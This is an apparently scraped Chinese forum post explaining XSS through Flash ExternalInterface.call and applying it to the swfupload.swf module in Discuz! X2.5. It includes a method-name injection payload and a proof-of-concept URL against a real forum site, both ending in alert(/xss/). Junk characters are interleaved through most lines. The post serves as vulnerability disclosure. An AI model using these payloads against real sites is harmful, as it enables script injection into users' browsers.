上回我们说$ l, G! k' S: c. }, V' _! s" {
) a8 o, t6 [3 V0 }
flash.external.ExternalInterface.call($methodName, $parameter)! @1 U; y0 g0 b
在浏览器中执行的是1 W1 N B. U: Z% u
3 Q" a1 P$ J4 vtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
9 X N$ m; i9 i" q, C. s/ r' W: k对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如: o- }+ u, W( w
# C. l# Y5 @4 H- A3 Pflash.external.ExternalInterface.call("object."+$methodName, $parameter)
) B0 O" P; g( ?, Z% ~% X$methodName = a())}catch(e){alert(/xss/)}//
, N, q' c7 t* x' f" A# V结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
! i9 ]7 q$ G6 Y2 c/ S5 _6 ^! b- x' Y& K* g
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }9 v/ i0 e, Z( C, ]/ r
U3 u! N. J" L# n. h7 |& b/ H
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
% _3 d; t& F/ T. R杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
2 r% ~+ w5 g% ]' D
# e4 k* R1 J5 m' G* B6 t3 J: R7 K9 m( V
/ D, |+ m7 |: z7 g漏洞文件:upload\static\image\common\swfupload.swf
$ F- V. W6 @0 g- i
v! P9 I$ d3 ^( E0 V5 m1 W原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf- Q2 e9 g: K- O- Y; o
+ V' m3 Z7 L& [, E+ I" `* A# t. s) |3 N2 X, ]: u" n% _! s
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//+ f% \: _! b' d v
* @1 e, u: d8 K" @% Z( O) h) W+ } P6 h; _- o. }
|